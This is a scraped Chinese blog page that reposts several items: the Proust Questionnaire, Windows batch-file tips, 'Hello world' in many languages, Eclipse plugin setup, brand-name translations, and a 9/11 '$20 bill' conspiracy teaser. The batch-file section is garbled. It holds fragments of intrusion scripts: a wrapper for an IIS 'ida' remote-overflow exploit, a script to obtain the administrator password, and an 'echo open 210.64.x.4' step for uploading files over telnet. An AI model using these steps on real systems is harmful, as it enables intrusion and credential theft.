|
|
用户名:foxwoods 笔名:foxwoods 地区: 行业:学生 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
---foxwoods` Blog
普鲁斯特问卷
普鲁斯特问卷:著名的Proust Questionnaire(普鲁斯特问卷)由一系列问题组成,问题包括被提问者的生活、思想、价值观及人生经验等。因著作《追忆逝水年华》而闻名的Marcel Proust并不是这份问卷的发明者,但这份问卷因为他特别的答案而出名,并在当年时髦的巴黎人沙龙中颇为流行。因此后人将这份问卷命名为“Proust Questionnaire”。
Vanity Fair(名利场)杂志每期封底都有普鲁斯特问卷专栏。
PS:鲁斯特本人的答案:The Infamous Proust Questionnaire。
------------------------------------------------------------------------------------------------------------
Windows 资源管理器命令行参数
Windows命令行方式批处理BAT文件技巧
作者: 银狼如风 时间:2005-09-13 23:03
出处:http://www.cublog.cn/u/60/?u=http://www.cublog.cn/u/60/showart.php?id=134
文章结构 1. 所有内置命令的帮助信息 ###################################################################### ###################################################################### path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 输出文件到临时文件目录里面.这样便于当前目录整洁. 对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 1 个文件 2,164 字节 1 个目录 1,505,997,824 可用字节 C:>cd pro* C:>
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: To create the variable value "new&name", type: The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. find "Pacific Rim" < trade.txt > nwtrade.txt > 创建一个文件 常用语法格式 IF EXIST filename command para1 para2
echo This is test > a.txt netstat -n | find "3389" ________________test.bat___________________________________________________ 下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. ___________________ida.bat_________________________________________________ @if "%1" =="" goto USAGE :start :SP2 :USAGE :END 下面我们再来第二个文件.就是得到administrator的口令. ___________________________fpass.bat____________________________________________ @echo start.... :USAGE :END 还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) echo open 210.64.x.4 3396>w |
[网络收集] BAT批处理文件语法
[转]茶余饭后来回顾我们熟悉的Hello world
from: http://blog.joycode.com/shannon/articles/11128.aspx
我们刚开始接触计算机语言大多从Hello world 开始,下面演示各种语言的Hello world program:
AKA 控制台
WHILE (1=1) :
WRITE "Hello World "
with Ada.Text_Io; use Ada.Text_Io;
procedure Hello is
begin
Put_Line ("Hello, world!");
end Hello;
PROC main()
WriteF('Hello, World!')
ENDPROC
'Hello World'
Accumulator-only architecture: DEC PDP-8, PAL-III assembler
See the Example section of the PDP-8 article.
MSG: .ASCIIZ "Hello, world!"
LDX #0
LDA MSG,X ; load initial char
@LP: JSR $FFD2 ; CHROUT CBM KERNAL
INX
LDA MSG,X
BNE @LP
RTS
Accumulator/Index microcoded machine: Data General Nova, RDOS
See the example section of the Nova article.
Expanded accumulator machine: Intel x86, MS-DOS, TASM
MODEL SMALL
IDEAL
STACK 100H
DATASEG
MSG DB 'Hello, world!$'
CODESEG
MOV AX, @data
MOV DS, AX
MOV DX, OFFSET MSG
MOV AH, 09H ; DOS: output ASCII$ string
INT 21H
MOV AX, 4C00H
INT 21H
END
.MCALL .REGDEF,.TTYOUT,.EXIT
.REGDEF
HELLO: MOV #MSG,R1
MOVB (R1),R0
LOOP: .TTYOUT
MOVB +(R1),R0
BNE LOOP
.EXIT
MSG: .ASCIZ /HELLO, WORLD!/
.END HELLO
CISC: VAX, VMS, MACRO32
.title hello
term_name: .ascid /SYS$INPUT/
term_chan: .blkw 1
out_iosb: .blkq 1
msg: .asciz /Hello, world!/
.entry start,0
; establish a channel for terminal I/O
$assign_s devnam=term_name,-
chan=term_chan
blbc r0,error
; queue the I/O request
$qio_s chan=term_chan,-
func=#io$_writevblk,-
iosb=out_iosb,-
p1=msg,-
p2=#13
blbc r0,error
$exit_s ; normal exit
error: halt ; error condition
.end start
BEGIN { print "Hello, world!" }
LET START () BE
$(
WRITES ("Hello, world!*N")
$)
#include
int main(void) {
printf("Hello, world!\n");
return 0;
}
#include
using namespace std;
int main() {
cout << "Hello, world!" << endl;
return 0;
}
class HelloWorldApp {
public static void Main() {
System.Console.WriteLine("Hello, world!");
}
}
module hello
Start :: String
Start = "Hello, world"
PROC 0
WRITE Hello, World!
IDENTIFICATION DIVISION.
PROGRAM-ID. HELLO-WORLD.
ENVIRONMENT DIVISION.
DATA DIVISION.
PROCEDURE DIVISION.
DISPLAY "Hello, world!".
STOP RUN.
(format t "Hello world!~%")
class HELLO_WORLD
creation
make
feature
make is
local
io:BASIC_IO
do
!!io
io.put_string("%N Hello, world!")
end -- make
end -- class HELLO_WORLD
-module(hello).
-export([hello_world/0]).
hello_world() -> io:fwrite("Hello, world!\n").
." Hello, world!" CR
PROGRAM HELLO
WRITE(*,10)
10 FORMAT('Hello, world!')
STOP
END
module HelloWorld (main) where
main = putStr "Hello World\n"
ON ENTER {
"Hello, " "World!" & SAY
}
public class Hello {
public static void main(String[] args) {
System.out.println("Hello, world!");
}
}
print [hello world!]
print "Hello, world!"
TERM EQU 19 the MIX console device number
ORIG 1000 start address
START OUT MSG(TERM) output data at address MSG
HLT halt execution
MSG ALF "MIXAL"
ALF " HELL"
ALF "O WOR"
ALF "LD "
END START end of the program
@echo off
echo Hello, world!
print "Hello, world!\n";
print("Hello, world!");
?>
Test: procedure options(main);
declare My_String char(20) varying initialize('Hello, world!');
put skip list(My_String);
end Test;
print "Hello, world!"
say "Hello, world!"
print "Hello, world!\n"
class HELLO_WORLD is
main is
#OUT+"Hello World\n";
end;
end;
(display "Hello, world!")
(newline)
sed -ne '1s/.*/Hello, world!/p'
'Hello, World!' uppercase print.
Transcript show: 'Hello, world!'
print "Hello, world!\n";
OUTPUT = "Hello, world!"
END
create table MESSAGE (TEXT char(15));
insert into MESSAGE (TEXT) values ('Hello, world!');
select TEXT from MESSAGE;
drop table MESSAGE;
Or, more simply
print 'Hello, World.'
sub main
print "Hello, World"
end sub
puts "Hello, world!"
put "Hello, world!"
echo 'Hello, world!'
Algoritmul Salut este:
fie s:="Hello, world";
tipareste s;
sf-Salut
#include
#include
#include
#include
using namespace std;
class HelloWorld : public Gtk::Window {
public:
HelloWorld();
virtual ~HelloWorld();
protected:
Gtk::Button m_button;
virtual void on_button_clicked();
};
HelloWorld::HelloWorld()
: m_button("Hello, world!") {
set_border_width(10);
m_button.signal_clicked().connect(SigC:
lot(*this,
&HelloWorld::on_button_clicked));
add(m_button);
m_button.show();
}
HelloWorld::~HelloWorld() {}
void HelloWorld::on_button_clicked() {
cout << "Hello, world!" << endl;
}
int main (int argc, char *argv[]) {
Gtk::Main kit(argc, argv);
HelloWorld helloworld;
Gtk::Main::run(helloworld);
return 0;
}
import java.awt.*;
import java.awt.event.*;
public class HelloFrame extends Frame {
HelloFrame(String title) {
super(title);
}
public void paint(Graphics g) {
super.paint
;
java.awt.Insets ins = this.getInsets();
g.drawString("Hello, world!", ins.left + 25, ins.top + 25);
}
public static void main(String args [])
{
HelloFrame fr = new HelloFrame("Hello");
fr.addWindowListener(
new WindowAdapter() {
public void windowClosing(WindowEvent e)
{
System.exit( 0 );
}
}
);
fr.setResizable(true);
fr.setSize(500, 100);
fr.setVisible(true);
}
}
#include
#include
#include
#include
class HelloWorld : public QWidget
{
Q_OBJECT
public:
HelloWorld();
virtual ~HelloWorld();
public slots:
void handleButtonClicked();
QPushButton *mPushButton;
};
HelloWorld::HelloWorld() :
QWidget(),
mPushButton(new QPushButton("Hello, World!", this))
{
connect(mPushButton, SIGNAL(clicked()), this, SLOT(handleButtonClicked()));
}
HelloWorld::~HelloWorld() {}
void HelloWorld::handleButtonClicked()
{
std::cout << "Hello, World!" << std::endl;
}
int main(int argc, char *argv[])
{
QApplication app(argc, argv);
HelloWorld helloWorld;
app.setMainWidget(&helloWorld);
helloWorld.show();
return app.exec();
}
MsgBox "Hello, world!"
#include
LRESULT CALLBACK WindowProcedure(HWND, UINT, WPARAM, LPARAM);
char szClassName[] = "MainWnd";
HINSTANCE hInstance;
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASSEX wincl;
hInstance = hInst;
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.style = 0;
wincl.hInstance = hInstance;
wincl.lpszClassName = szClassName;
wincl.lpszMenuName = NULL; //No menu
wincl.lpfnWndProc = WindowProcedure;
wincl.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); //Color of the window
wincl.hIcon = LoadIcon(NULL, IDI_APPLICATION); //EXE icon
wincl.hIconSm = LoadIcon(NULL, IDI_APPLICATION); //Small program icon
wincl.hCursor = LoadCursor(NULL, IDC_ARROW); //Cursor
if (!RegisterClassEx(&wincl))
return 0;
hwnd = CreateWindowEx(0, //No extended window styles
szClassName, //Class name
"", //Window caption
WS_OVERLAPPEDWINDOW & ~WS_MAXIMIZEBOX,
CW_USEDEFAULT, CW_USEDEFAULT, //Let Windows decide the left and top positions of the window
120, 50, //Width and height of the window,
NULL, NULL, hInstance, NULL);
//Make the window visible on the screen
ShowWindow(hwnd, nCmdShow);
//Run the message loop
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WindowProcedure(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
PAINTSTRUCT ps;
HDC hdc;
switch (message)
{
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);
TextOut(hdc, 15, 3, "Hello, world!", 13);
EndPaint(hwnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, message, wParam, lParam);
}
return 0;
}
基于web图形用户界面
Java applets work in conjunction with HTML files.
HelloWorld Program says:
import java.applet.*;
import java.awt.*;
public class HelloWorld extends Applet {
public void paint(Graphics g) {
g.drawString("Hello, world!", 100, 50);
}
}
JavaScript is a scripting language used in HTML files. To demo this program Cut and Paste the following code into any HTML file.
onclick="javascript:helloWorld();">Hello World Example
An easier method uses JavaScript implicitly, calling the reserved alert function. Cut and paste the following line inside the .... HTML tags.
An even easier method involves using popular browsers' support for the virtual 'javascript' protocol to execute JavaScript code. Enter the following as an Internet address (usually by pasting into the address box):
javascript:alert('Hello, world!')
48 65 6C 6C 6F 2C 20 77 6F 72 6C 64 21 0D 0A
Hello, world!
/font /Courier findfont 24 scalefont
font setfont
100 100 moveto
(Hello world!) show
showpage
\font\HW=cmr10 scaled 3000
\leftline{\HW Hello world}
\bye
[原创] Eclipse 插件管理 (3.1.X)
1. 直接安装:
下载下来的插件一般都由两个文件夹组成: features和plugins,只要把这两个文件夹直接放到Eclipse的安装文件夹下覆盖(其实应该说是求了并集)原有的相应文件夹就可以了.
这种方法的好处是安装时很方便,不过以后不容易管理,如果要做一些改动就比较麻烦了.所以不推荐使用.
2.link文件:
把插件单独解压到一个文件夹,这个文件夹要有如下的结构:
CDT Tooling SDK 3.0.1
└─eclipse
├─feature
└─plugins
(CDT所在文件夹名为CDT Tooling SDK 3.0.1)
再在Eclipse在安装文件夹(一般为Eclipse)下建立一个名为links的文件夹,在里面建立扩展名为link的文本文件,内容为:
path=[所要安装的插件的路径]
如果说CDT的路径是: E:\CDT ,link文件的内容则就为:
path=E:\\CDT
这种方法对于后期维护是非常方便的,但是操作多少有些繁琐,幸好有人做了一个这样的插件出来:Plug-ins Link,它可以自动生成LINK文件,省掉了不少麻烦.它本身也是一个插件,所以对于新手来说,还是照上一法方法来安装比较容易,安装完成后,可以从Eclipse的"窗口"菜单中的"显示视图">"其它">"基本"那里找到它.
3.eclipseextension
把插件单独解压到一个文件夹(同上一方法), 然后在这个文件夹里建立一个名为.eclipseextension的文本文件,里面的内容如下:
id=org.eclipse.platform
name=Eclipse Platform
version=3.1.1
最后打开Eclipse,选择菜单"帮助">"软件更新">"管理配置", 点击窗口右侧的"添加扩展位置",再选择插件所在文件夹即可.这种方法是我自己发现的,仅考大家参考.
国际著名品牌趣译
来源:http://www.hao360.com/page/details.asp?id=5512
许多国际著名品牌源于很平凡的名字,译为中文必须有巧思。
如果把营销比喻成一场战役,那么成功的品牌名称就像一面不倒的军旗。国际品牌在全球范围内营销,必然要跨越种种文化障碍,如语言差异、的消费习惯差异、的宗教差异等。
把品牌译为中文必须有巧思。
由于西方国家的文化比较相似,所以某一个国家的品牌比较容易为其他国家所接受。中华文化与西方文化差异较大,因此,国外品牌要打入华人市场,必须慎重考虑命名问题。商品经济现象的复杂,使西方品牌名称的翻译超越了语言学概念,而上升到文化心理和市场重新定位层面。
麦当劳:蕴含多层意义
比如麦当劳,英文名称是“McDonald's”,它是店主人名字的所有格形成。西方人习惯以姓氏给公司命名,像爱迪生公司、华尔特·迪斯尼公司、福特公司。但是华人通常喜欢以喜庆、兴隆、吉祥、新颖的词汇给店铺命名,如“百盛”、“天润发”、“好来顺”、“全聚德”、“喜来登”。McDonald是个小人物,他比不上爱迪生,人家是世界闻名的大科学家,也不如迪斯尼,因为迪斯尼成了“卡通世界”的代名词,所以如果老老实实地把“McDonald's”译成“麦克唐纳的店”,就过于平淡,而“麦当劳”就非常成功:
一,大致保留了原发音;
二,体现了食品店的性质;
三,蕴涵着“要吃麦就应当劳动”的教育意义;
四,风格既“中”又“洋”,符合华人的口味。
可口可乐:绝妙之译
众所周知,“可口可乐”就是“CocaCola”,但是却很少有人追问一句:那是什么意思?原来Coca和Cola是两种植物的名字,音译为古柯树和可乐树,古柯树的叶子和可乐树的籽是该饮品的原材料,古柯叶里面含有古柯碱,也叫可卡因(有时用做局总麻醉药,尤其用于眼睛、鼻子或喉咙,还因其兴奋性和刺激性而广泛用做毒品)。这样枯燥乏味甚至有点可怕的名字居然被翻译成“可口可乐”,真是CocaCola公司的化腐朽为神奇。“可口可乐”译名的成功之处在于:
一,保留了原文押头韵的响亮发音;
二,完全抛弃了原文的意思,而是从喝饮料的感受和好处上打攻心战,手段高明;
三,这种饮品的味道并非人人喜欢,很多人甚至觉得它像中药,但它却自称“可口”,而且喝了以后还让人开心。善于进行自我表扬,讨好大众。
上述两例是保留原品牌名称发音,而改变原意的成功范例。其他如中国译为“奔驰”,新马译为“马赛地”的名牌汽车,原文“MercedesBenz”是该汽车公司老板爱女的名字,译为“奔驰”是删除了复杂的Mercedes,简洁而响亮。
“Ikea”译为“宜家”是高招
再如“Ikea”家具品牌,即便在瑞典也很少有人知道它的意思,是聪明的中译者赋予它“宜家”这美好的含义。实际上,Ikea是该品牌的创始人IngvarKamprad和他的农场名Elmtaryd及村庄名Agunnaryd的词首字母组合。
有的品牌名称只进行音译,如“麦斯威尔”咖啡,仅仅是“Maxwell”的发音而已。由于它的诉求对象是白领阶层,尤其是“外向型”白领,因此这个名字是成功的。但如果想让广大华人买账,就不如“雀巢”。在雀巢咖啡刚进入中国大陆时,听村里的农民议论:“雀巢”咖啡就是“鸟窝”咖啡。即使没文化的人也对它产生兴趣,可见名称的戏剧性效果非常有利于提高品牌的知名度。
名牌手机“诺基亚”,芬兰文原名“Nokia”,是厂子所在小镇的名字,很显然,译文比原文更富有高科技感,好像还有点“承诺亚洲”的味道。
“福士伟根”跟希特勒有关
有的品牌名称只进行意译。如“福士伟根”(中国称“大众汽车”),德文原名“Volkswagen”,Vokls的意思是人民大众,Wagen是汽车。
关于“福士伟根”,还有一段鲜为人知的来历:19世纪二三十年代,汽车非常昂贵,只属于少数富人。希特勒上台后,宣称要为全体劳动大众制造汽车,汽车的牌子就叫“Volkswagen”,他号召人们每月省下一些钱,建立“汽车存款”,若干年后家家有汽车。可是不久战争爆发,汽车厂忙着造战争机器去了。然而战后大众汽车的品牌名称却保留了下来。
还有一类是以简称进行跨国界统一传播,比如慕尼黑的一家汽车厂,德文全称是Bayerische MotorenWerke(拜耶里奇飞机引擎生产厂),简称为BMW,后来它不仅生产飞机发动机,还扩展到越野车、摩托单车、高级轿车。现在没有人关心BMW到底是什么意思,BMW三个字母围绕的蓝白徽标,已成为成功和信誉的标志。其中文名称“宝马”是多么浪漫、简洁、贴切。
再如,Minnesota Mining and ManufacturingCompany(明尼苏达矿业及制造公司),就是我们熟知的3M公司。西方人对品牌名称的要求比较单纯:一,简单易记;二不重复;三,在别国语言里不会产生误解,对宗教信仰不要有侮辱性含义。为安全起见,有些厂家就干脆造一个新词,如康柏公司“Compaq”(美国电脑生产商)来源于Compact(电脑术语,意思是密集的、压紧的),把词尾变成q,就构成一个新词,它很容易使人联想到源词,使公司的行业特征非常明显。
[转][翻译] 若干著名IT公司名称的来历
[转] 李开复对中国开源界提出的三点希望
Amazing $20 Bill 9/11 Coincidence
| Amazing $20 Bill 9/11 Coincidence Does the new U.S. $20 Dollar Bill show hidden pictures of the World Trade Center and Pentagon attacks? You decide!
|
|